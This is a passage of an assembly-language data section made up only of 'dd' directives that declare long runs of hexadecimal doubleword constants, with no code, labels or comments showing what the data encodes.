2BD80060h, 0EF56DD62h, 0B9C44D22h, 35C6D0EDh, 329D0EE8h dd 62A0DAB8h, 2C74F3C8h, 7073A400h, 397D836Dh, 0A93302D3h dd 1EB3449Dh, 74D45048h, 80D83C6Eh, 0A2E05C6Fh, 2CDD0012h dd 0C09DB6F1h, 0C8C1E53Dh, 4456C2FDh, 25CE1C4Ah, 0CBD0DC40h dd 0EF303571h, 8186B0BCh, 0B1CD50D4h, 0CAA51CE8h, 0E1817F51h dd 435D647Bh, 7080FD52h, 0D50574A8h, 2AF0874Fh, 93948400h dd 661537h, 0B39D0A7Dh, 0DA7CB97Ah, 0BF62521Dh, 0E7FA3C3h dd 0C2DCD0A4h, 8B5401C0h, 96EF442Dh, 0FC288066h, 0D96AC72Eh dd 0FDA50393h, 53A11D2Bh, 70E2F088h, 0B2DD8E00h, 0EC514FBFh dd 2E8F7h, 424A1A4h, 3850AAF6h, 0A0083707h, 769F88AEh dd 58CE8C00h, 0E663BDF2h, 0CDD00087h, 0B203382Dh, 220281C6h dd 175D466h, 0DBD960CEh, 7BA80079h, 5E8ADEE9h, 0CB0023CDh dd 0AE3C0181h, 6E6C63Dh, 0ADB974Eh, 4005183Ah, 8653C166h dd 2F628980h, 0CDAD2917h, 0E9064040h, 497E149Fh, 9DBC4700h dd 0C5C4F660h, 2BA30099h, 0F1F4A41Eh, 960092F8h, 4779CC9Eh dd 0F8516EDh, 7A950D0Eh, 89FB506h, 24C45D03h, 0E0895971h dd 77A37357h, 8B04280Ch, 8A013EF1h, 0F6C850h, 0DF65EE4Dh dd 895D2211h, 5ABF5218h, 0F8677D38h, 2A19C7A5h, 0FBDE8095h dd 19E832EBh, 16314862h, 2AD0057h, 5E01B1CDh, 5A4DACD4h dd 0A880D7B0h, 0E44C875Dh, 5003FEB9h, 440EED56h, 0AE90E749h dd 60E0821Fh, 1989282Dh, 0A600C8CDh, 62013142h, 7BED557Bh dd 10161F8Ah, 1FE8C0B1h, 2869D19h, 0E13F0DF8h, 1D88D4FCh dd 101CD500h, 5D9C3DFBh, 69BA18A0h, 8057F0EEh, 83404261h dd 0E0D3DC78h, 0E11773h, 3715C960h, 72A6A5A9h, 84863800h dd 19AF29AEh, 87620258h, 0E3F52FFCh, 30FE2D61h, 24540EF5h dd 23000FB8h, 2797D45Bh, 1CB02583h, 10E52BBh, 1CE01965h dd 0ED288096h, 101E3745h, 0CCC2C0DAh, 0D9948FF2h, 0F45C2300h dd 29038AE7h, 0E263006Ah, 0B04452A4h, 412832C5h, 0F15C985Ch dd 2AB8403Ch, 0FCF52803h, 1D5A5659h, 3053E9E8h, 1A7D87B0h dd 0F1149515h, 307A8030h, 8CE1115Fh, 1461C420h, 0C42553FCh dd 7E27A00h, 0E8C27FDDh, 0DE2A402Fh, 40E31E12h, 42F8D7CAh dd 8500DD3Fh, 0CEDE23C1h, 895C95h, 775BCC4h, 0B2D0A49Ch dd 85029B00h, 39B9AE53h, 0F1B02643h, 74030096h, 58321559h dd 9F118D02h, 80BCD60Dh, 39F17294h, 0C488C053h, 6ACA01C7h dd 0A4B84677h, 0DA3F4701h, 0A784CBF2h, 0D61420h, 0CD37486h dd 9B4811B3h, 357A2300h, 16CF9AB5h, 8677005Dh, 0F922E85Ch dd 8379B8DEh, 0E8C8BE35h, 0AFA03C01h, 0A08F9E85h, 0E50E63C6h dd 3140E6C1h, 125020AEh, 6F834842h, 70B960DAh, 104848FCh dd 90616907h, 35C1E526h, 22F4E60Ch, 579F09F1h, 10039C14h dd 8000581Fh, 0B23DF061h, 7ECA22ABh, 7D243DEBh, 478A4839h dd 838446CCh, 0C2DD3382h, 0CA84980Eh, 2E18E24Ch, 7A844087h dd 0A03C14D2h, 4115E462h, 1900C8A5h, 0B83B018Ch, 0CA003270h dd 98B96B82h, 0FECD06h, 39D67A61h, 602156F7h, 0FBF5E600h dd 958F5C62h, 46EE0757h, 12DF23Fh, 81CB71C0h, 92E47421h dd 58803267h, 170B91E9h, 4118B24Ah, 79311128h, 936588CFh dd 0F6A6A80Fh, 23B52056h, 0C2F3EF98h, 0F2601C28h, 3B20AF27h dd 1C3792ABh, 3D67D5h, 1C35F797h, 4603C115h, 3854DA02h dd 0F12DB6Fh, 0E3CE3F40h, 113886AFh, 47118096h, 0B688F4B3h dd 0A0DFA8C0h, 1A3E0383h, 6B48FFCCh, 0A350F8B8h, 87D5B818h dd 0E02D78h, 72D9F470h, 0CDBD96ECh, 582CB700h, 0EF2FFDACh dd 7F850786h, 0A3280B17h, 397029D6h, 0BAE804A8h, 30497548h dd 5A4B192Bh, 0FD450E22h, 0B0E2CDE5h, 12C0C342h, 550C7991h dd 40681D09h, 0CF7B07F9h, 845D5EA4h, 50B3C1A0h, 72BC4199h dd 83DD033h, 961D81E4h, 8F002936h, 0E68B89CEh, 48F9505Eh dd 1CBB0532h, 5EDDA6D2h, 411252C8h, 6EDC8304h, 50F45041h dd 533BCAB2h, 0A0348064h, 47E40BE7h, 9F62057Eh, 5E51D943h dd 81525DCCh, 0F0B5C8A3h, 0DB518030h, 0C576E235h, 9ADE03F4h dd 773B75DAh, 0E3321000h, 2CB6A82Eh, 0F2D40A8Fh, 8C30ED49h dd 6FB11E4Ch, 825848A8h, 0B3038E1Dh, 0E506F140h, 3A7CB219h dd 6B808362h, 75776110h, 71FF6642h, 0A000D3DDh, 0A5E0B39Ch dd 54A7C56Ah, 0F6FC898h, 96FFE48Ah, 504EBA00h, 30C06010h dd 78AA352Bh, 86D303ABh, 2F5139C2h, 0EB7619E0h, 4582BEEh dd 0F0DE013Ch, 5E5F5DB2h, 0C12A4DFCh, 65B57C11h, 95EBC0BFh dd 0D917D401h, 0D718286h, 0C031B9C3h, 242A7894h, 0DA351DC0h dd 1CA4EBD6h, 389A2212h, 182D10EAh, 71CD68D8h, 36080384h dd 27F94287h, 5CFFB781h, 6942D230h, 0A6E23163h, 2B376010h dd 30C110B4h, 162702C3h, 11303147h, 0A2C2CE1Ah, 48943AD8h dd 2DD60C7h, 0EC2C118h, 20D7C07Bh, 0AD128885h, 0D37A62E0h dd 85761DFFh, 13B60CD9h, 0B4A75341h, 6C1578B1h, 3782244Ch dd 5A83B7Fh, 0F2403838h, 220A6447h, 0D0A03AF6h, 18A1AE7Dh dd 464200B1h, 0F360C72Dh, 3CF70754h, 31713778h, 6E1F4090h dd 800A294Fh, 0A71443Eh, 0E259840Dh, 14813FDDh, 18263A15h dd 0EC37E582h, 7D021C90h, 0D72A6E04h, 708E191Bh, 73D07164h dd 9406EDA2h, 14C827B7h, 0C0DC5A17h, 0AD83B1Dh, 8FFC40F6h dd 1683DA72h, 101920C8h, 0F630273Fh, 53BD505Ch, 0C218345Ah dd 0DD97D899h, 0D4A0B787h, 766271A2h, 35041700h, 830EB0A1h dd 7CCE7740h, 71D8C129h, 0C7960882h, 989C56FFh, 8284F542h dd 42C8917Dh, 86D894D3h, 7A5078D8h, 966317E0h, 1BEAD758h dd 8B197E8h, 813791C3h, 9CC94049h, 0A6CEF400h, 8F223364h dd 6BD5668h, 706D96B0h, 70501724h, 16084E98h, 0E04C9BF6h dd 0AC8D5336h, 80F1E802h, 9449FC82h, 0B6833D44h, 2229ECB0h dd 29487DBEh, 0A220B070h, 0C9F4345Bh, 485DC228h, 7E9C34C0h dd 4CFB77E8h, 7F7D9818h, 0CB941E07h, 4D96E280h, 0F68C0058h dd 0AEC2133Dh, 0AC0022B1h, 64F9C79Ah, 41DBFh, 9E959B5Dh dd 0F33E13A3h, 14CC53h, 845785EFh, 1095755Ah, 0E715603Eh dd 0FBCF439Fh, 5E503F97h, 73441D84h, 0AAB670EEh, 0FE68440Ch dd 30CC2F06h, 8E30AF56h, 525A0054h, 78173EB9h, 0F151E95h dd 0C11414E6h, 6C2106BEh, 0EE957ECCh, 63610CCDh, 6908A4A9h dd 0C60618ACh, 0DC39B6FBh, 93DE0158h, 1BC96273h, 6D09D07Fh dd 0F31D41EAh, 382B2719h, 69092881h, 0F08BB6ECh, 0AE01D67Eh dd 80903E89h, 3F1A0440h, 11FA9DB3h, 0C1CCF4ECh, 10E27047h dd 0E59E818Ch, 0DB604938h, 268D2908h, 16932944h, 7454811Ch dd 505BE931h, 626D20C8h, 8C596F0h, 1830F809h, 2A4D5814h dd 3DCC9817h, 0B310E7FEh, 1E3080C3h, 0CB9083h, 310DDD1Ch dd 44A087ECh, 5460087Fh, 1709A521h, 14FE0757h, 401BA7ECh dd 267212B9h, 9653D2E8h dd 56F0018h, 0E9752A9h, 674702ECh, 6AF2B925h, 289B1498h dd 5C54C18h, 0C4696778h, 706C1228h, 448C59FEh, 580A0797h dd 289C6B68h, 84A2D2C7h, 772723E5h, 8F92A001h, 0A15F56B6h dd 0CB0184Ch, 825D20BCh, 0C303C7A8h, 0DD5C6B73h, 0CA1CA078h dd 33FCF06Fh, 0A2186E8Eh, 0DC617878h, 11449C18h, 4096BCF0h dd 41CC8750h, 209C0886h, 403611A1h, 1F09504Ch, 0E57FDBCh dd 1818DC7Ch, 3CF867BBh, 0C68C86Fh, 63ABE144h, 61CE187Ah dd 7FFF3819h, 0DCF0A591h, 484D63F0h, 10181CE5h, 0B220242Dh dd 1688C613h, 0B531401Fh, 435E2812h, 7D84208Ch, 8C08910h dd 94B2219Ch, 3D3744DCh, 0E577BC80h, 889F5CF0h, 50C67B1Dh dd 207083A9h, 87FA5BDh, 7E0218C6h, 20E66E58h, 9C10998Ch dd 8F6998FDh, 0C004FCD0h, 29ED3C38h, 8224CD1Eh, 300E24A4h dd 2D328699h, 52121808h, 0D91FC84Bh, 0D2FC940Ch, 60E7101Dh dd 0C5B1506Ah, 47E94D1Eh, 2DE8C398h, 0D815C018h, 0F0C79530h dd 0DA82311Ch, 8AE0C118h, 0B47CF0D8h, 0C851F40Ch, 290A8A9h dd 1EE8CDE7h, 0E434E108h, 7549DC6Eh, 3804C11Ch, 342496C4h dd 90FB63E7h, 0F008F31Ch, 14A05DDCh, 5C0C98C7h, 0B2A82F39h dd 0D8DB0C1h, 844395F1h, 33383172h, 0BCC3BC70h, 0DBEA18A0h dd 0C6D8BF40h, 101B2F20h, 5C60EF64h, 1607648Ah, 582BA215h dd 0D0F5870Ch, 604F6EDCh, 48502586h, 244C8048h, 7950D8FCh dd 8B7A18F9h, 0D2A7D040h, 525E0740h, 3C803873h, 770FFBF4h dd 90F14780h, 127C2498h, 79978C58h, 40DEF838h, 8849F512h dd 2FA42A86h, 19DA9831h, 381E1898h, 8C32EBCh, 197D0A7Ch dd 10A590A8h, 1028BE1Ch, 6E317FE0h, 475A5C18h, 7D4082B4h dd 10769E03h, 33132C38h, 0C4E09C8h, 24525C18h, 7409908h dd 0A06163DAh, 282A820Dh, 6F51E088h, 51D8E1DCh, 209A10E0h dd 0A183614Ch, 28808956h, 0AD1EC049h, 2DE8C6C3h, 0D08E462h dd 538D0183h, 692420B1h, 543C08C4h, 2079BC06h, 233B6D1Dh dd 8F4BED09h, 0CAB0846Fh, 0CDD70C87h, 0B5383C41h, 0C3199CE0h dd 5352BC08h, 74ED1824h, 1090773Eh, 8C473E8h, 0DC0485BCh dd 5C7C808Eh, 38CCCED9h, 0E31C503Eh, 5FFC0886h, 2D3240E7h dd 485B9036h, 18CFA5B0h, 90685C95h, 40D4A31Ch, 85F3104h dd 408ACB1Ah, 0A9C5641h, 0C9005ABh, 1B88745Bh, 7C128490h dd 20045575h, 2067AFCh, 2333A079h, 7F823872h, 78B66420h dd 2B08A7Ch, 64163F12h, 67304081h, 0C40D284h, 18B88F00h dd 0EA33C49Ah, 0CEDBF01Dh, 98386A68h, 19F158D8h, 99157219h dd 4CCD0750h, 0F4DC8895h, 381C8D12h, 7674378Ch, 38BFFD33h dd 0A492F427h, 0E3DC0116h, 86D89606h, 1B5044Bh, 0F74E928Ch dd 10B00898h, 6C0069D2h, 91DCDF87h, 6333BC9Ah, 0B841C8BDh dd 0B986081Eh, 2958B424h, 2CD910A8h, 0BFC71098h, 244C3C0Ch dd 75644670h, 0F8D13A08h, 0D08904E0h, 2C062CC2h, 54F8B057h dd 1F704AE9h, 6D155B12h, 0CDE70CB4h, 0A36CE07Eh, 0A69BA2B8h dd 18689FE0h, 6021833Ch, 20DD190Dh, 0FC79A028h, 0BD3C18C4h dd 427A50D1h, 8A32108Ch, 89407030h, 18789004h, 104B5B2Dh dd 9490222Ch, 1E8C3E4Ch, 18F2156Dh, 5CD86070h, 3CACA020h dd 14D8DD61h, 1209ACA0h, 1C1CAE46h, 0F97DF104h, 87039663h dd 8028071Ch, 5C26F0F0h, 999034A0h, 58A99C1Bh, 0C878B2F3h dd 5C10D761h, 288CA624h, 4E082C10h, 3A51DC9Ah, 7F16F0FCh dd 0C8FA38CAh, 0B90CEE81h, 484C6572h, 7CA308B7h, 0A71162F8h dd 50B0BC2Eh, 812A2067h, 472AF43Eh, 0AE50C053h, 3A32FCA0h dd 8301A022h, 1BA77CC4h, 0A823DCB0h, 0A0C053C2h, 696620F2h dd 24B09E90h, 2138F5CDh, 0B2E6094h, 86411376h, 0C912CF60h dd 0A823CD60h, 0F046C043h, 2CBE0254h, 389B9B2h, 91108207h dd 4F26A561h, 1C3D88C0h, 20206D1Eh, 6F20947Eh, 58CB5D13h dd 0B0601B18h, 0F0C64F34h, 6918A085h, 0E486F0F9h, 0B75D4065h dd 777F1824h, 0D3183340h, 10351918h, 0D5302455h, 8D61C1C6h dd 8E222018h, 10887033h, 0E709A47Bh, 45CE7425h, 0C4131FCh dd 84095FCCh, 64A78840h, 0D1F9A090h, 201769F0h, 0B092D454h dd 0DC813426h, 0DE10BD11h, 5C3510CFh, 22538A10h, 805A752Fh dd 7C81DEDCh, 3226212h, 48C604E7h, 0B1ED883Bh, 8E0E808h dd 8413D99Eh, 0D4ACD444h, 2289BB0Ch, 24E1BCB2h, 0D09A5868h dd 9092C444h, 4D1C31B0h, 8C2C5F21h, 3857C050h, 0DAD49827h dd 90C871D0h, 38C4A81Ch, 7CD3397Ch, 3508652h, 5C6E0109h dd 40102FB7h, 667028A6h, 28761055h, 200EBC30h, 0C9C5377Ch dd 0E4A49110h, 0D8ACD18Ch, 73189856h, 9A629C10h, 10A26100h dd 756FEEDCh, 4AA4242Ch, 0A894A924h, 10911358h, 0B770C42h dd 1C12B027h, 0E970040Ch, 389BAE4h, 1A7884C7h, 0A9755E80h dd 768B54A3h, 8840907Eh, 2877632Ah, 1810241Dh, 331079E1h dd 26F9126Ah, 2599C807h, 3C625245h, 60656184h, 0C0E77989h dd 0C43B9CA5h, 2D48B10h, 3C4202A6h, 0BC870298h, 0D6A074C9h dd 30BFE485h, 0ED962718h, 30861A20h, 3C6018A7h, 0A0CC1325h dd 6F1C08B0h, 0A18BD879h, 78AC8A3h, 4C090819h, 38985690h dd 529C11BCh, 0C308492h, 5FF60822h, 71FC2E9Ah, 1E369258h dd 49D125Ch, 81D7DC78h, 0BA467C5Ch, 4E52510h, 789281D0h dd 0FC40409Ch, 0C83764D9h, 5980A0AFh, 0F485F66h, 715C2058h dd 0D36688B0h, 3030D640h, 5C2874FCh, 0CD83CEA4h, 9BBC50C1h dd 0C61858BAh, 744FB805h, 0D0C970CAh, 0CB193C13h, 464D1E0h dd 12F8943Ah, 8C9C1FD7h, 7F405577h, 2E683662h, 220471Bh dd 0E9EB63E2h, 0EE0C4723h, 19F63258h, 0CC617608h, 800C62B2h dd 1091A516h, 0C030F74Ah, 8F71C6E4h, 0B226688Dh, 65093434h dd 81C04523h, 160A6C03h, 0F20701D5h, 62D75024h, 7ACF3061h dd 260C5894h, 395707AAh, 0A52B2527h, 4E420C87h, 9DE0BF88h dd 62DDB2A0h, 25C7A84Bh, 4F28F468h, 10014CA5h, 4C0DFF1Dh dd 8EE73088h, 0AC70468Ah, 0B61A908h, 489C4384h, 7CD4624h dd 9A877130h, 0C098B1A0h, 29CE9B14h, 700D2224h, 6824130Ch dd 29CC9ADBh, 43307C8Fh, 0D59394F9h, 471438BEh, 0E09413B9h dd 203C5AA5h, 6714D480h, 0A72812B3h, 2462BE27h, 2070231h dd 40E11408h, 0D9ED98F7h, 2FDBBC57h, 1807AA90h, 15E33650h dd 0BC4DE685h, 0D0561A14h, 62732EE0h, 9EE70B44h, 192DE088h dd 0DA4D563Bh, 0BACC091Ch, 19CE594h, 0F8B9DAA1h, 0A7488B45h dd 2130A5EEh, 6013F41Dh, 0B194B410h, 0B8C485FCh, 3D4781E3h dd 8D5376Ch, 2C8143F4h, 48BA2ABCh, 8109E70h, 0C908A074h dd 63FA0C05h, 0E43CE068h, 0DE421D6Eh, 0DB021C04h, 29C1C0E2h dd 86C73147h, 216367F9h, 61D43260h, 0E469B848h, 602EFB4Bh dd 5C0C288Dh, 66B30989h, 6847A06Dh, 0E4A37C10h, 94462105h dd 340A73Ch, 0EC67853h, 0AD06DC4Ch, 0DF2D6879h, 74416A6h dd 1C90A1CFh, 0FA0CB89Fh, 538FF055h, 0CE80F84Fh, 4C5ADBA9h dd 9142A088h, 0EEBBC07Ch, 8054B3D4h, 4862DFF8h, 477FCB50h dd 0F4DB0B10h, 84F8378Ah, 0B482187h, 96082091h, 20D2B9EFh dd 1D296FF6h, 0B9C1F4D8h, 2CD73EBDh, 8B84A7D1h, 3040915Ch dd 88C5234Dh, 8C096946h, 0F6341EC7h, 800A3126h, 45D047C1h dd 250CAD8h, 0E33B0B51h, 84F0A448h, 6D817CF3h, 249399B6h dd 0A1F30794h, 4660E0D8h dd 48C5EAA4h, 270AD43Fh, 71DC8987h, 9620DC2Ah, 0E9C779C4h dd 0CBB0AC10h, 0B22007B0h, 11E714E9h, 0D9A06497h, 0DA00E25Fh dd 0CDB88B5Ah, 350685h, 143F3647h, 0AB36DB7h, 562DCA1Ch dd 88EE0078h, 0C45ADB8h, 15C71835h, 662F3079h, 8D30E7F0h dd 0C0BA1012h, 0DE18010Ah, 0E0C690B1h, 4D07F07Fh, 2C062CA6h dd 54752555h, 130D0280h, 3673521h, 3DFC1F39h, 0ED824099h dd 0C6D54044h, 71A19868h, 0F50D308Ch, 0E1DF6FB4h, 6199F0FDh dd 58069808h, 480C0118h, 68B53849h, 0BCC15A2Dh, 144C2974h dd 0F6691781h, 589257BDh, 9C58108Dh, 84999FE3h, 0A029BD75h dd 52277A77h, 0D680747Ch, 0EC520B19h, 95EDCD81h, 0A554AC41h dd 0A805184Ah, 45E5EDC2h, 301EADA0h, 587C5B10h, 0D513D67h dd 31480FA6h, 2BB07D63h, 8990959Eh, 203729E0h, 0B4541281h dd 0ED00831Ah, 44A57EA5h, 16AD7901h, 2885ED56h, 0E6B0D4Dh dd 68B8479Ch, 0D8A07365h, 1180C364h, 1818DC7Bh, 0A64F506Fh dd 0C37D20C5h, 0A41A438h, 0BBFE1204h, 0F2FAB8CCh, 8F7A0298h dd 3B6F5863h, 38DFE883h, 3799A6A0h, 0BA869139h, 58662B3Ah dd 0D4A92401h, 8D0181EBh, 67A08458h, 548EDB1Dh, 0EF8D7E05h dd 0F9845EE5h, 65033849h, 74A68FC8h, 2B87B811h, 7CB4C0C0h dd 0CD80B8D6h, 63EA0A94h, 69144F38h, 802E0781h, 2E44F59h dd 0FF48EF67h, 9A8A2FBBh, 0CC125154h, 8240164Ah, 577802EDh dd 831D468Fh, 0D980F48Fh, 841CC73Ah, 0F0205CE9h, 0EA272408h dd 1873FBDh, 4A268FC9h, 85C86014h, 0AC92E7A6h, 69822D14h dd 0DD231280h, 68A5F80Ch, 0AA8329E7h, 0C952C08Ch, 69C3CD03h dd 4694268Dh, 9A0634A0h, 0D149478Ch, 60C95AF6h, 0AC814A6h dd 10035C7Ch, 834A42B4h, 0E035447h, 1AFB8EC1h, 0A8C4ADB9h dd 231F3C38h, 29C21AFAh, 6750F70Dh, 0F30C3804h, 0ED29E8FAh dd 0B828B428h, 525C6F14h, 0D963B79Ch, 0F3B5C984h, 7BD7B041h dd 5764F882h, 9494855Bh, 513CD8B0h, 2D30E110h, 9421DDAAh dd 79972C18h, 80B0ECD1h, 0F0A0308Dh, 0DE741367h, 20144726h dd 1E630709h, 0D6D10D54h, 0EDC9DDBBh, 0E7C8204Ah, 63A1230Ah dd 20C738D8h, 0A1F2813h, 0A655CDC9h, 469D504Ch, 29EEC431h dd 3C23B4ADh, 3DBFF7C0h, 28C2B602h, 9472B00Dh, 684F0028h dd 7F025A2h, 71EA2295h, 1E0DCC1Eh, 18BDB182h, 2F6DE099h dd 8BB18DEh, 600228F8h, 6DCC9A08h, 565E120h, 30A7CB0Ah dd 0AF456295h, 748DCC0Eh, 602D83ACh, 1C10463Fh, 0AC0D2A02h dd 42025D95h, 604C0F3Eh, 0CFE24841h, 1C1D2D29h, 0D7915381h dd 9881F7B7h, 0CBF97DA2h, 182AE1CDh, 453E0CAFh, 8228FF9Ah dd 56B46100h, 0CD408D6Eh, 678ACADh, 0A8E46197h, 0E214903Bh dd 0A05C734Ch, 20F88751h, 0C2306E2Dh, 0E7ADE07Ch, 0F130C098h dd 0F84DCD27h, 4C6D08C3h, 6477C52Ah, 0D510151h, 7622B051h dd 0BA2D4880h, 6F4E56B5h, 0EE0E9074h, 885FE841h, 13943844h dd 6A06027h, 5B2A1014h, 7032D8DAh, 0A113F08Eh, 0CD32ADC0h dd 1402F44Bh, 39262C84h, 890CE0AEh, 0C7148138h, 0A180BC25h dd 1670869Bh, 1111CA2Bh, 97E38C94h, 39617608h, 5F1E9211h dd 5B0396C9h, 9400897Ch, 0C1E2AE65h, 1484029h, 567FB941h dd 0DF0AACEAh, 0BF8E74F9h, 6AC68051h, 0EBB7D2F9h, 7CA60020h dd 5B79EADCh, 8B81CD5Eh, 0E8D4A370h, 0CCD53836h, 3A3FC980h dd 0AD856941h, 0B2448800h, 0DB94D40Eh, 26A037E3h, 417BA061h dd 7200882Fh, 0B38D4565h, 0C60804h, 8C22F0EFh, 0E5492C42h dd 43307961h, 0D1892866h, 6835944h, 10009DBDh, 77F3FB90h dd 7E60B0h, 30E0888h, 0E927D2B1h, 45298C07h, 0FE302818h dd 7A3B4BE8h, 9E8800F3h, 30BD78AAh, 840018C4h, 28438FE3h dd 5F37C2h, 4CB86F01h, 941A59BAh, 9B9CA60Bh, 8108D77Bh dd 4CB980A8h, 9417536Fh, 91DCC630h, 20302Ch, 133F8F9Ah dd 0A2D3384Ah, 0D484D000h, 4DAC886h, 0A02273E4h, 71D2E0h dd 4120F60Fh, 8E3B70E2h, 5085D900h, 8443808Dh, 656E0015h dd 0DBD1B79Bh, 2C0079BCh, 148CB1E2h, 151D5E38h, 0DC97C135h dd 0A6027702h, 4801EAh, 98008025h, 947C6749h, 202E98Ah dd 0F5E7759Bh, 34E0438Bh, 0EB481F7Eh, 0C67D1750h, 0FA5AC900h dd 9E8BCFh, 344C2E81h, 39C9F2AAh, 3EB8DD03h, 0D07A3C11h dd 7D17F32h, 6C0629E5h, 3D3BB089h, 0C1031551h, 875CFE66h dd 691F8080h, 58E40020h, 0B4DACA18h, 0F30035DCh, 39334A4Ch dd 584E9508h, 70DA76h, 25DDCB6Ah, 9A1C4D0Eh, 845BBB01h dd 41CC26F1h, 0E6176FF4h, 0C5560109h, 0FE18D937h, 3E39E887h dd 54791C00h, 0A85B442h, 59AA01F5h, 0FDCF6CF0h, 2930803Ch dd 2E424F1h, 8847004Eh, 30156F61h, 0AF265645h, 6300D8E0h dd 549274ADh, 34020781h, 1BF59011h, 0A03D9780h, 0F600D2D7h dd 0B6CFD8CBh, 1DF12630h, 0CA6476h, 73BDAD5Ch, 0DCE71307h dd 0E00B8FCh, 64AF5D21h, 0ED30BDCh, 39C5A57Fh, 0E773BF00h dd 0EB001E8Eh, 0BC771B76h, 0B1EE3Ch, 9F71E834h, 0B49B49EFh dd 900377Fh, 54668729h, 0A1E13Eh, 39C33170h, 4B4A5911h dd 0AD6CCA00h, 0BF2571CEh, 4970372h, 325451EFh, 56F52811h dd 0EE4D3708h, 0C925310h, 0E9283021h, 20B05744h, 277D87B3h dd 63309141h, 39F407C1h, 104BFEEDh, 47F9BF8Fh, 77005398h dd 0F26EAD0Ch, 80EC26h, 0AE1EE581h, 0A447E1D4h, 57F81CECh dd 2C5C8097h, 3159B0h, 1BD1B323h, 5A48B104h, 4DC8401Dh dd 73036D40h, 285B7864h, 3DE02BA7h, 3C018AF8h, 996E1793h dd 409BF88Fh, 0FD002C98h, 10FF0A50h, 56C3A6h, 0C71789D4h dd 0A464631Ch, 1F7EB53Ch, 0FBC00EDEh, 529BA504h, 0EC070068h dd 8289C0D2h, 190E4DDCh, 0E3CE02h, 0C5E1ED0Bh, 867B0520h dd 0C063A951h, 91E487FEh, 10123924h, 43E04B0Eh, 0F3ACC46Bh dd 0A859A8F1h, 1D993C08h, 106FB480h, 0B18AE1D6h, 1A5DBB0Eh dd 0C4D7C307h, 0FFCE885Eh, 5CB60053h, 0CAAE147Fh, 80032C85h dd 877B2ABDh, 4FA6D050h, 4D2043Ah, 851374D6h, 49C400DDh dd 16FCD4FDh, 96005578h, 6FEF941Eh, 7B4393Dh, 88121A9Fh dd 76A106Ch, 820090A0h, 0DA03486Eh, 0E0FCBB3h, 15C9686Fh dd 2DF6E1C0h, 3800D33Ch, 0F8B492A1h, 780CA737h, 88BF0E06h dd 0D6424532h, 0A5C0604Ch, 0D78FC6Ch, 9FDCDF0Fh, 6D1F7D24h dd 0E300A1A4h, 5B1E0725h, 0CD170011h, 858F07Dh, 1900A323h dd 721B7AF6h, 1E0E683Fh, 0A2C362h, 18847C07h, 0C9001AE9h dd 4D2EABAFh, 220254h, 70FC2D09h, 96DD849Dh, 0F0B85000h dd 4B0EB628h, 278A1D83h, 2ADCC06Dh, 1C3389FCh, 1400F5E2h dd 0E5846365h, 3406B5h, 24B8FE3Fh, 86A8E20Fh, 6B0B6700h dd 1A4A1223h, 980100ECh, 6A7A9604h, 0A9034189h, 0A3D497D6h dd 0FC3000E4h, 7E78B1C5h, 36078C2Bh, 4D35B96Bh, 3DAFB4D1h dd 5F450D4h, 976378E1h, 45B8C091h, 2C00E51Dh, 0E4B65407h dd 43D8B5h, 0A3895A74h, 3531F8Ch, 13003575h, 0C7FD7DD3h dd 0C65B01h, 0B9572ABEh, 545F0684h, 690B1F00h, 0BA314E61h dd 7F360053h, 0E7828086h, 0A500E088h, 524CBD26h, 7B348D7Ch dd 77840057h, 0C7F18221h, 271D0791h, 0EAC03299h, 485889E3h dd 0A9DC002Eh, 7DC5AB16h, 0D4036DEDh, 0F5695001h, 304CB09Ch dd 0C3B61E11h, 6562401Bh, 76E8D93Ch, 9A4D6C03h, 0C85CDA7Fh dd 0E10FDFh, 0FFE496D5h dd 9FFAAF98h, 92ED2E00h, 5D365BF8h, 912D0725h, 3666B083h dd 0E41E3EB5h, 0F7407D9Fh, 0AAA4C63Ch, 6AB900B4h, 54AF339Bh dd 88008F6Bh, 9F1821B6h, 0DAB068h, 12D0400Ch, 45851F7Ch dd 723BE01Ch, 0BF18A800h, 92CC2Eh, 4320994Bh, 4784484Fh dd 9C005B75h, 4404FAEEh, 92DB19h, 3B9ABF16h, 69A2460Ch dd 9EF96400h, 81BEA3B0h, 1EE5A3C5h, 0C05EBF18h, 0B1409771h dd 270FF258h, 0A0247BBBh, 2D4BD08Fh, 86729Dh, 6DCDA4A2h dd 6E4011B5h, 0F904E00h, 2709810Ch, 5FCC00DEh, 0D5769808h dd 0B300F92Fh, 577F7A99h, 1F471AD6h, 3FAB33h, 87BCB12Bh dd 667DFDACh, 670CF800h, 0AFD19EEDh, 3E6A004Bh, 52DF5C44h dd 0DB0346F2h, 8703194Eh, 988393D5h, 72F4C3C8h, 0BE7203DDh dd 0C6211B05h, 0C05A32D0h, 0D3C248h, 0D07C1131h, 152F1E1h dd 563C30EAh, 0E89AA54Dh, 8150854Bh, 60002AE4h, 0E509727Ah dd 0F82034h, 4FC54132h, 239CAE7Bh, 0D1539B01h, 717894C1h dd 0E48060ECh, 3D7C44h, 0C92BE08Ch, 265A12E4h, 46F6C7F0h dd 0E1CE5C03h, 0A049DEB1h, 0E0702974h, 3442001Ah, 0E4AE8722h dd 85002168h, 73904847h, 51C818h, 2837C632h, 0F255BF6Bh dd 1AE3B30Bh, 44815790h, 0F4021EB4h, 1D3EACCCh, 0D318091h dd 6FD0E924h, 9ED5003Ch, 40FDD9F2h, 7F009C60h, 47B081DEh dd 7520B325h, 0CCF007BEh, 5036A8D9h, 312A0D7Ch, 0E300A4B8h dd 0B41770DDh, 95BA131Ch, 88EE4A00h, 53007DD4h, 9B786E7h dd 210B0h, 3505F839h, 0DA2DDF3Fh, 0A005F75h, 0E37ECC42h dd 38713CD9h, 2700307Fh, 76ADA775h, 0D65EC2F7h, 8F74C400h dd 50056Dh, 0E842AB9Bh, 37A99FBFh, 5100EB71h, 0B94835FCh dd 333C1Dh, 895BDB66h, 0C72ECC59h, 0DF00CBEEh, 95BFA93Fh dd 0FDD247Fh, 0F071D162h, 0A1E0FBA1h, 0EA5FC823h, 0C5A2BB00h dd 5AB4DFF3h, 9A040083h, 0B7F6F734h, 2305AE8Bh, 3309270Bh dd 43203B87h, 3EC422D6h, 7E829634h, 0E89C35DBh, 84406DC2h dd 833CA08Dh, 0ED3C43h, 0D67E1823h, 50BB4h, 1198BA37h dd 0D2488A5h, 9B1C1F1Eh, 0B7AEA9C0h, 7362FBh, 7C8F4E28h dd 0C8D0B3Ch, 1357F03h, 90B92983h, 1E6C46FBh, 9D3CC638h dd 0A9A409Eh, 0B8B29425h, 0FF00BCF6h, 49FA1F9h, 3A9B03h dd 0F20B39E4h, 0FE30CBBAh, 380073EEh, 1A854D12h, 0EFA2775h dd 0E76FEA2Ch, 70F16947h, 1403AFB1h, 754D1A0Fh, 72E5A2FEh dd 5B9740C6h, 21060061h, 18665C05h, 